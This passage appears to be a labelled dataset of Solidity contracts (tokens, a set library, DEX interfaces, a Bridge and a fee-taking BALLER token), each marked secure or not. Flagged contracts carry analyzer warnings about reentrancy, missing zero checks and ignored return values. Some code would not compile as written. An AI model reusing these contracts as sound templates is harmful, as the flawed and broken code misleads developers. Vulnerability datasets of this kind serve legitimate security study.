{ "code": "// SPDX-License-Identifier: unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"./ERC20Interface.sol\" as ERC20Interface;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract LibraToken is ERC20Interface, SafeMath {\n string public constant symbol = \"LIBR\";\n string public constant name = \"Libra Token\";\n uint8 public constant decimals = 8;\n uint256 public constant _totalSupply = 2100000000000000;\n mapping(address => uint256) balances;\n mapping(address => mapping(address => uint256)) allowed;\n\n constructor() {\n balances[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function totalSupply() public view override returns (uint256) {\n return _totalSupply - balances[address(0)];\n }\n\n function balanceOf(\n address tokenOwner\n ) public view override returns (uint256 balance) {\n return balances[tokenOwner];\n }\n\n function transfer(\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n balances[msg.sender] = safeSub(balances[msg.sender], tokens);\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(msg.sender, receiver, tokens);\n return true;\n }\n\n function approve(\n address spender,\n uint256 tokens\n ) public override returns (bool success) {\n allowed[msg.sender][spender] = tokens;\n emit Approval(msg.sender, spender, tokens);\n return true;\n }\n\n function transferFrom(\n address sender,\n address receiver,\n uint256 tokens\n ) public override returns (bool success) {\n balances[sender] = safeSub(balances[sender], tokens);\n allowed[sender][msg.sender] = safeSub(\n allowed[sender][msg.sender],\n tokens\n );\n balances[receiver] = safeAdd(balances[receiver], tokens);\n emit Transfer(sender, receiver, tokens);\n return true;\n }\n\n function allowance(\n address tokenOwner,\n address spender\n ) public view override returns (uint256 remaining) {\n return allowed[tokenOwner][spender];\n }\n}", "file_name": "solidity_code_2570.sol", "secure": 1, "size_bytes": 2248 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nlibrary EnumerableSetUpgradeable {\n struct Set {\n bytes32[] _values;\n mapping(bytes32 => uint256) _indexes;\n }\n\n function _add(Set storage set, bytes32 value) private returns (bool) {\n if (!_contains(set, value)) {\n set._values.push(value);\n\n set._indexes[value] = set._values.length;\n return true;\n } else {\n return false;\n }\n }\n\n function _remove(Set storage set, bytes32 value) private returns (bool) {\n uint256 valueIndex = set._indexes[value];\n\n if (valueIndex != 0) {\n uint256 toDeleteIndex = valueIndex - 1;\n uint256 lastIndex = set._values.length - 1;\n\n bytes32 lastvalue = set._values[lastIndex];\n\n set._values[toDeleteIndex] = lastvalue;\n\n set._indexes[lastvalue] = toDeleteIndex + 1;\n\n set._values.pop();\n\n delete set._indexes[value];\n\n return true;\n } else {\n return false;\n }\n }\n\n function _contains(\n Set storage set,\n bytes32 value\n ) private view returns (bool) {\n return set._indexes[value] != 0;\n }\n\n function _length(Set storage set) private view returns (uint256) {\n return set._values.length;\n }\n\n function _at(\n Set storage set,\n uint256 index\n ) private view returns (bytes32) {\n require(\n set._values.length > index,\n \"EnumerableSet: index out of bounds\"\n );\n return set._values[index];\n }\n\n struct Bytes32Set {\n Set _inner;\n }\n\n function add(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _add(set._inner, value);\n }\n\n function remove(\n Bytes32Set storage set,\n bytes32 value\n ) internal returns (bool) {\n return _remove(set._inner, value);\n }\n\n function contains(\n Bytes32Set storage set,\n bytes32 value\n ) internal view returns (bool) {\n return _contains(set._inner, value);\n }\n\n function length(Bytes32Set storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n Bytes32Set storage set,\n uint256 index\n ) internal view returns (bytes32) {\n return _at(set._inner, index);\n }\n\n struct AddressSet {\n Set _inner;\n }\n\n function add(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _add(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function remove(\n AddressSet storage set,\n address value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function contains(\n AddressSet storage set,\n address value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(uint256(uint160(value))));\n }\n\n function length(AddressSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n AddressSet storage set,\n uint256 index\n ) internal view returns (address) {\n return address(uint160(uint256(_at(set._inner, index))));\n }\n\n struct UintSet {\n Set _inner;\n }\n\n function add(UintSet storage set, uint256 value) internal returns (bool) {\n return _add(set._inner, bytes32(value));\n }\n\n function remove(\n UintSet storage set,\n uint256 value\n ) internal returns (bool) {\n return _remove(set._inner, bytes32(value));\n }\n\n function contains(\n UintSet storage set,\n uint256 value\n ) internal view returns (bool) {\n return _contains(set._inner, bytes32(value));\n }\n\n function length(UintSet storage set) internal view returns (uint256) {\n return _length(set._inner);\n }\n\n function at(\n UintSet storage set,\n uint256 index\n ) internal view returns (uint256) {\n return uint256(_at(set._inner, index));\n }\n}", "file_name": "solidity_code_2571.sol", "secure": 1, "size_bytes": 4295 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function balanceOf(address account) external view returns (uint256);\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n function approve(address spender, uint256 amount) external returns (bool);\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}", "file_name": "solidity_code_2572.sol", "secure": 1, "size_bytes": 799 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\ncontract Owned {\n address public owner;\n address public newOwner;\n\n event OwnershipTransferred(address indexed from, address indexed to);\n\n constructor() {\n owner = msg.sender;\n }\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n function transferOwnership(address transferOwner) public onlyOwner {\n require(transferOwner != newOwner);\n newOwner = transferOwner;\n }\n\n function acceptOwnership() public {\n require(msg.sender == newOwner);\n emit OwnershipTransferred(owner, newOwner);\n owner = newOwner;\n newOwner = address(0);\n }\n}", "file_name": "solidity_code_2573.sol", "secure": 1, "size_bytes": 735 }
{ "code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"./Owned.sol\" as Owned;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract Bridge is Owned {\n address public constant TBCC_TOKEN_CONTRACT =\n 0x2Ecb95eB932DfBBb71545f4D23CA303700aC855F;\n uint256 public constant MAX_GAS_FOR_CALLING_ERC20 = 70000;\n\n uint256 public relayFee;\n\n event TransferOutSuccess(address senderAddr, uint256 amount);\n\n constructor() {\n owner = msg.sender;\n relayFee = 4500000000000000;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c029d87): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c029d87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferOut(uint256 amount) external payable returns (bool) {\n require(msg.value > relayFee);\n\t\t// reentrancy-events | ID: c029d87\n require(\n IERC20(TBCC_TOKEN_CONTRACT).transferFrom(\n msg.sender,\n address(this),\n amount\n )\n );\n\t\t// reentrancy-events | ID: c029d87\n emit transferOutSuccess(msg.sender, amount);\n return true;\n }\n\n function withdrawTokens(\n address payable to,\n uint256 amount\n ) external onlyOwner returns (uint256) {\n uint256 actualBalance = IERC20(TBCC_TOKEN_CONTRACT).balanceOf{\n gas: MAX_GAS_FOR_CALLING_ERC20\n }(address(this));\n uint256 actualAmount = amount < actualBalance ? amount : actualBalance;\n require(\n IERC20(TBCC_TOKEN_CONTRACT).transfer{\n gas: MAX_GAS_FOR_CALLING_ERC20\n }(to, actualAmount)\n );\n return actualAmount;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: fd5689e): Bridge.withdrawCoins(address,uint256).to lacks a zerocheck on \t (succ,None) = address(to).call{value amount}()\n\t// Recommendation for fd5689e: Check that the address is not zero.\n function withdrawCoins(\n address to,\n uint256 amount\n ) external onlyOwner returns (uint256) {\n\t\t// missing-zero-check | ID: fd5689e\n (bool succ, ) = payable(to).call{value: amount}(\"\");\n require(succ, \"TRANSFER FAILED\");\n return amount;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 891752b): Bridge.updateRelayFee(uint256) should emit an event for relayFee = amount \n\t// Recommendation for 891752b: Emit an event for critical parameter changes.\n function updateRelayFee(\n uint256 amount\n ) external onlyOwner returns (uint256) {\n\t\t// events-maths | ID: 891752b\n relayFee = amount;\n return relayFee;\n }\n}", "file_name": "solidity_code_2574.sol", "secure": 0, "size_bytes": 2959 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IQuoter {\n function quoteExactOutputSingle(\n address tokenIn,\n address tokenOut,\n uint24 fee,\n uint256 amountOut,\n uint160 sqrtPriceLimitX96\n ) external returns (uint256 amountIn);\n\n function quoteExactOutput(\n bytes memory path,\n uint256 amountOut\n ) external returns (uint256 amountIn);\n\n function WETH9() external view returns (address);\n}", "file_name": "solidity_code_2575.sol", "secure": 1, "size_bytes": 493 }
{ "code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface ISwapRouter {\n struct ExactOutputSingleParams {\n address tokenIn;\n address tokenOut;\n uint24 fee;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n uint160 sqrtPriceLimitX96;\n }\n\n function exactOutputSingle(\n ExactOutputSingleParams calldata params\n ) external payable returns (uint256 amountIn);\n\n struct ExactOutputParams {\n bytes path;\n address recipient;\n uint256 deadline;\n uint256 amountOut;\n uint256 amountInMaximum;\n }\n\n function exactOutput(\n ExactOutputParams calldata params\n ) external payable returns (uint256 amountIn);\n\n function refundETH() external payable;\n}", "file_name": "solidity_code_2576.sol", "secure": 1, "size_bytes": 845 }
{ "code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@openzeppelin/contracts/utils/Address.sol\" as Address;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract BALLER is Context, IERC20, Ownable {\n using SafeMath for uint256;\n using Address for address;\n\n address[] private _addressList;\n mapping(address => bool) private _AddressExists;\n mapping(address => uint256) private _rOwned;\n mapping(address => uint256) private _tOwned;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private _isExcluded;\n address[] private _excluded;\n\n uint256 private constant MAX = ~uint256(0);\n uint256 private _tTotal = 100000000000 * 10 ** 9;\n uint256 private _rTotal = (MAX - (MAX % _tTotal));\n uint256 private _tFeeTotal;\n\n address private _lotteryWallet =\n payable(0xa7bCDCd2E21622D87A30250a78598a462036193B);\n address payable private _developerWallet =\n payable(0x09e83CA394A115AF40648529b98A4482C56aA775);\n\n\t// WARNING Optimization Issue (constable-states | ID: 084afe9): BALLER._name should be constant \n\t// Recommendation for 084afe9: Add the 'constant' attribute to state variables that never change.\n string private _name = \"BALLER\";\n\t// WARNING Optimization Issue (constable-states | ID: 5a4b864): BALLER._symbol should be constant \n\t// Recommendation for 5a4b864: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"BALLER\";\n\t// WARNING Optimization Issue (constable-states | ID: 0b0ad23): BALLER._decimals should be constant \n\t// Recommendation for 0b0ad23: Add the 'constant' attribute to state variables that never change.\n uint8 private _decimals = 9;\n\n uint256 public _taxFee = 2;\n uint256 private _previousTaxFee = _taxFee;\n\n uint256 public _developerFee = 3;\n uint256 private _previousdeveloperFee = _developerFee;\n\n uint256 public _lotteryFee = 2;\n uint256 private _previouslotteryFee = _lotteryFee;\n\n uint256 public _liquidityFee = 2;\n uint256 private _previousLiquidityFee = _liquidityFee;\n\n IUniswapV2Router02 public immutable uniswapV2Router;\n address public immutable uniswapV2Pair;\n\n bool inSwapAndLiquify;\n bool public _shouldSwapToBNB = false;\n bool public swapAndLiquifyEnabled = true;\n\n uint256 public _maxTxAmount = 100000000000 * 10 ** 9;\n\t// WARNING Optimization Issue (constable-states | ID: b4385a3): BALLER.numTokensSellToAddToLiquidity should be constant \n\t// Recommendation for b4385a3: Add the 'constant' attribute to state variables that never change.\n uint256 private numTokensSellToAddToLiquidity = 5000000 * 10 ** 9;\n\n event SwapAndLiquifyEnabledUpdated(bool enabled);\n event SwapAndLiquify(\n uint256 tokensSwapped,\n uint256 ethReceived,\n uint256 tokensIntoLiqudity\n );\n\n modifier lockTheSwap() {\n inSwapAndLiquify = true;\n _;\n inSwapAndLiquify = false;\n }\n\n constructor() {\n _rOwned[owner()] = _rTotal;\n\n addAddress(owner());\n\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())\n .createPair(address(this), _uniswapV2Router.WETH());\n\n uniswapV2Router = _uniswapV2Router;\n\n _isExcludedFromFee[owner()] = true;\n _isExcludedFromFee[address(this)] = true;\n\n emit Transfer(address(0), owner(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n if (_isExcluded[account]) return _tOwned[account];\n return tokenFromReflection(_rOwned[account]);\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0d41240): BALLER.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0d41240: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].add(addedValue)\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender].sub(\n subtractedValue,\n \"ERC20: decreased allowance below zero\"\n )\n );\n return true;\n }\n\n function isExcludedFromReward(address account) public view returns (bool) {\n return _isExcluded[account];\n }\n\n function totalFees() public view returns (uint256) {\n return _tFeeTotal;\n }\n\n function deliver(uint256 tAmount) public {\n address sender = _msgSender();\n require(\n !_isExcluded[sender],\n \"Excluded addresses cannot call this function\"\n );\n (uint256 rAmount, , , , , , , ) = _getValues(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _rTotal = _rTotal.sub(rAmount);\n _tFeeTotal = _tFeeTotal.add(tAmount);\n }\n\n function reflectionFromToken(\n uint256 tAmount,\n bool deductTransferFee\n ) public view returns (uint256) {\n require(tAmount <= _tTotal, \"Amount must be less than supply\");\n if (!deductTransferFee) {\n (uint256 rAmount, , , , , , , ) = _getValues(tAmount);\n return rAmount;\n } else {\n (, uint256 rTransferAmount, , , , , , ) = _getValues(tAmount);\n return rTransferAmount;\n }\n }\n\n function tokenFromReflection(\n uint256 rAmount\n ) public view returns (uint256) {\n require(\n rAmount <= _rTotal,\n \"Amount must be less than total reflections\"\n );\n uint256 currentRate = _getRate();\n return rAmount.div(currentRate);\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: a19c342): BALLER.setlotteryAddress(address).lottery lacks a zerocheck on \t _lotteryWallet = lottery\n\t// Recommendation for a19c342: Check that the address is not zero.\n function setlotteryAddress(address payable lottery) public onlyOwner {\n\t\t// missing-zero-check | ID: a19c342\n _lotteryWallet = lottery;\n }\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 62b80af): BALLER.setdeveloperAddress(address).developer lacks a zerocheck on \t _developerWallet = developer\n\t// Recommendation for 62b80af: Check that the address is not zero.\n function setdeveloperAddress(address payable developer) public onlyOwner {\n\t\t// missing-zero-check | ID: 62b80af\n _developerWallet = developer;\n }\n function _getdeveloperWallet() public view virtual returns (address) {\n return _developerWallet;\n }\n\n function _getlotteryWallet() public view virtual returns (address) {\n return _lotteryWallet;\n }\n\n function setshouldSwapToBNB(bool enabled) public onlyOwner {\n _shouldSwapToBNB = enabled;\n }\n\n function excludeFromReward(address account) public onlyOwner {\n require(!_isExcluded[account], \"Account is already excluded\");\n if (_rOwned[account] > 0) {\n _tOwned[account] = tokenFromReflection(_rOwned[account]);\n }\n _isExcluded[account] = true;\n _excluded.push(account);\n }\n\n function includeInReward(address account) external onlyOwner {\n require(_isExcluded[account], \"Account is already included\");\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (_excluded[i] == account) {\n _excluded[i] = _excluded[_excluded.length - 1];\n _tOwned[account] = 0;\n _isExcluded[account] = false;\n _excluded.pop();\n break;\n }\n }\n }\n\n function _transferBothExcluded(\n address sender,\n address recipient,\n uint256 tAmount\n ) private {\n (\n uint256 rAmount,\n uint256 rTransferAmount,\n uint256 rFee,\n uint256 tTransferAmount,\n uint256 tFee,\n uint256 tLiquidity,\n uint256 tdeveloper,\n uint256 tlottery\n ) = _getValues(tAmount);\n _tOwned[sender] = _tOwned[sender].sub(tAmount);\n _rOwned[sender] = _rOwned[sender].sub(rAmount);\n _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);\n _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);\n _takeLiquidity(tLiquidity);\n _takedeveloper(tdeveloper);\n _takelottery(tlottery);\n _reflectFee(rFee, tFee);\n emit Transfer(sender, recipient, tTransferAmount);\n }\n\n function burn(uint256 _value) public {\n _burn(msg.sender, _value);\n }\n\n function _burn(address _who, uint256 _value) internal {\n require(_value <= _rOwned[_who]);\n _rOwned[_who] = _rOwned[_who].sub(_value);\n _tTotal = _tTotal.sub(_value);\n emit Transfer(_who, address(0), _value);\n }\n\n function excludeFromFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = true;\n }\n\n function includeInFee(address account) public onlyOwner {\n _isExcludedFromFee[account] = false;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 4c5952c): BALLER.setTaxFeePercent(uint256) should emit an event for _taxFee = taxFee \n\t// Recommendation for 4c5952c: Emit an event for critical parameter changes.\n function setTaxFeePercent(uint256 taxFee) external onlyOwner {\n\t\t// events-maths | ID: 4c5952c\n _taxFee = taxFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: e0b199d): BALLER.setdeveloperFeePercent(uint256) should emit an event for _developerFee = developerFee \n\t// Recommendation for e0b199d: Emit an event for critical parameter changes.\n function setdeveloperFeePercent(uint256 developerFee) external onlyOwner {\n\t\t// events-maths | ID: e0b199d\n _developerFee = developerFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 7ce5ef4): BALLER.setlotteryFeePercent(uint256) should emit an event for _lotteryFee = lotteryFee \n\t// Recommendation for 7ce5ef4: Emit an event for critical parameter changes.\n function setlotteryFeePercent(uint256 lotteryFee) external onlyOwner {\n\t\t// events-maths | ID: 7ce5ef4\n _lotteryFee = lotteryFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 9c7dc6f): BALLER.setLiquidityFeePercent(uint256) should emit an event for _liquidityFee = liquidityFee \n\t// Recommendation for 9c7dc6f: Emit an event for critical parameter changes.\n function setLiquidityFeePercent(uint256 liquidityFee) external onlyOwner {\n\t\t// events-maths | ID: 9c7dc6f\n _liquidityFee = liquidityFee;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 787dc16): BALLER.setMaxTxPercent(uint256) should emit an event for _maxTxAmount = _tTotal.mul(maxTxPercent).div(10 ** 2) \n\t// Recommendation for 787dc16: Emit an event for critical parameter changes.\n function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner {\n\t\t// events-maths | ID: 787dc16\n _maxTxAmount = _tTotal.mul(maxTxPercent).div(10 ** 2);\n }\n\n function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {\n swapAndLiquifyEnabled = _enabled;\n emit SwapAndLiquifyEnabledUpdated(_enabled);\n }\n\n receive() external payable {}\n\n function _reflectFee(uint256 rFee, uint256 tFee) private {\n _rTotal = _rTotal.sub(rFee);\n _tFeeTotal = _tFeeTotal.add(tFee);\n }\n\n struct TData {\n uint256 tAmount;\n uint256 tFee;\n uint256 tLiquidity;\n uint256 tdeveloper;\n uint256 tlottery;\n uint256 currentRate;\n }\n\n function _getValues(\n uint256 tAmount\n )\n private\n view\n returns (\n uint256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n (uint256 tTransferAmount, TData memory data) = _getTValues(tAmount);\n data.tAmount = tAmount;\n data.currentRate = _getRate();\n (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(\n data\n );\n return (\n rAmount,\n rTransferAmount,\n rFee,\n tTransferAmount,\n data.tFee,\n data.tLiquidity,\n data.tdeveloper,\n data.tlottery\n );\n }\n\n function _getTValues(\n uint256 tAmount\n ) private view returns (uint256, TData memory) {\n uint256 tFee = calculateTaxFee(tAmount);\n uint256 tLiquidity = calculateLiquidityFee(tAmount);\n\n uint256 tdeveloper = calculatedeveloperFee(tAmount);\n uint256 tlottery = calculatelotteryFee(tAmount);\n\n uint256 tTransferAmount = tAmount\n .sub(tFee)\n .sub(tLiquidity)\n .sub(tdeveloper)\n .sub(tlottery);\n return (\n tTransferAmount,\n TData(0, tFee, tLiquidity, tdeveloper, tlottery, 0)\n );\n }\n\n function _getRValues(\n TData memory _data\n ) private pure returns (uint256, uint256, uint256) {\n uint256 rAmount = _data.tAmount.mul(_data.currentRate);\n uint256 rFee = _data.tFee.mul(_data.currentRate);\n uint256 rLiquidity = _data.tLiquidity.mul(_data.currentRate);\n uint256 rdeveloper = _data.tdeveloper.mul(_data.currentRate);\n uint256 rlottery = _data.tlottery.mul(_data.currentRate);\n uint256 rTransferAmount = rAmount\n .sub(rFee)\n .sub(rLiquidity)\n .sub(rdeveloper)\n .sub(rlottery);\n return (rAmount, rTransferAmount, rFee);\n }\n\n function _getRate() private view returns (uint256) {\n (uint256 rSupply, uint256 tSupply) = _getCurrentSupply();\n return rSupply.div(tSupply);\n }\n\n function _getCurrentSupply() private view returns (uint256, uint256) {\n uint256 rSupply = _rTotal;\n uint256 tSupply = _tTotal;\n\t\t// cache-array-length | ID: e7b84b1\n for (uint256 i = 0; i < _excluded.length; i++) {\n if (\n _rOwned[_excluded[i]] > rSupply ||\n _tOwned[_excluded[i]] > tSupply\n ) return (_rTotal, _tTotal);\n rSupply = rSupply.sub(_rOwned[_excluded[i]]);\n tSupply = tSupply.sub(_tOwned[_excluded[i]]);\n }\n if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);\n return (rSupply, tSupply);\n }\n\n function _takeLiquidity(uint256 tLiquidity) private {\n uint256 currentRate = _getRate();\n uint256 rLiquidity = tLiquidity.mul(currentRate);\n _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);\n if (_isExcluded[address(this)])\n _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);\n }\n\n function addAddress(address adr) private {\n if (_AddressExists[adr]) return;\n _AddressExists[adr] = true;\n _addressList.push(adr);\n }\n function _takedeveloper(uint256 tdeveloper) private {\n uint256 currentRate = _getRate();\n uint256 rdeveloper = tdeveloper.mul(currentRate);\n _rOwned[_developerWallet] = _rOwned[_developerWallet].add(rdeveloper);\n if (_isExcluded[_developerWallet])\n _tOwned[_developerWallet] = _tOwned[_developerWallet].add(\n tdeveloper\n );\n }\n function _takelottery(uint256 tlottery) private {\n uint256 currentRate = _getRate();\n uint256 rlottery = tlottery.mul(currentRate);\n _rOwned[_lotteryWallet] = _rOwned[_lotteryWallet].add(rlottery);\n if (_isExcluded[_lotteryWallet])\n _tOwned[_lotteryWallet] = _tOwned[_lotteryWallet].add(tlottery);\n }\n\n function calculateTaxFee(uint256 _amount) private view returns (uint256) {\n return _amount.mul(_taxFee).div(10 ** 2);\n }\n\n function calculatedeveloperFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_developerFee).div(10 ** 2);\n }\n\n function calculatelotteryFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_lotteryFee).div(10 ** 2);\n }\n\n function calculateLiquidityFee(\n uint256 _amount\n ) private view returns (uint256) {\n return _amount.mul(_liquidityFee).div(10 ** 2);\n }\n\n function removeAllFee() private {\n if (_taxFee == 0 && _liquidityFee == 0) return;\n\n _previousTaxFee = _taxFee;\n _previousdeveloperFee = _developerFee;\n _previouslotteryFee = _lotteryFee;\n _previousLiquidityFee = _liquidityFee;\n\n _taxFee = 0;\n _developerFee = 0;\n _lotteryFee = 0;\n _liquidityFee = 0;\n }\n\n function restoreAllFee() private {\n _taxFee = _previousTaxFee;\n _developerFee = _previousdeveloperFee;\n _lotteryFee = _previouslotteryFee;\n _liquidityFee = _previousLiquidityFee;\n }\n\n function isExcludedFromFee(address account) public view returns (bool) {\n return _isExcludedFromFee[account];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: b984ad1): BALLER._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for b984ad1: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 2450169\n _allowances[owner][spender] = amount;\n\t\t// reentrancy-events | ID: 89388df\n emit Approval(owner, spender, amount);\n }\n\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n require(amount > 0, \"Transfer amount must be greater than zero\");\n if (from != owner() && to != owner())\n require(\n amount <= _maxTxAmount,\n \"Transfer amount exceeds the maxTxAmount.\"\n );\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (contractTokenBalance >= _maxTxAmount) {\n contractTokenBalance = _maxTxAmount;\n }\n\n bool takeFee = true;\n\n if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {\n takeFee = false;\n }\n\n addAddress(from);\n addAddress(to);\n\n _tokenTransfer(from, to, amount, takeFee);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 89388df): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 89388df: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 2450169): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 2450169: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function swapAndLiquify(uint256 contractTokenBalance) private lockTheSwap {\n uint256 half = contractTokenBalance.div(2);\n uint256 otherHalf = contractTokenBalance.sub(half);\n\n uint256 initialBalance = address(this).balance;\n\n\t\t// reentrancy-events | ID: 89388df\n\t\t// reentrancy-benign | ID: 2450169\n swapTokensForEth(half);\n\n uint256 newBalance = address(this).balance.sub(initialBalance);\n\n\t\t// reentrancy-events | ID: 89388df\n\t\t// reentrancy-benign | ID: 2450169\n addLiquidity(otherHalf, newBalance);\n\n\t\t// reentrancy-events | ID: 89388df\n emit SwapAndLiquify(half, newBalance, otherHalf);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 89388df\n\t\t// reentrancy-benign | ID: 2450169\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 07618d8): BALLER.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,owner(),block.timestamp)\n\t// Recommendation for 07618d8: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 89388df\n\t\t// reentrancy-benign | ID: 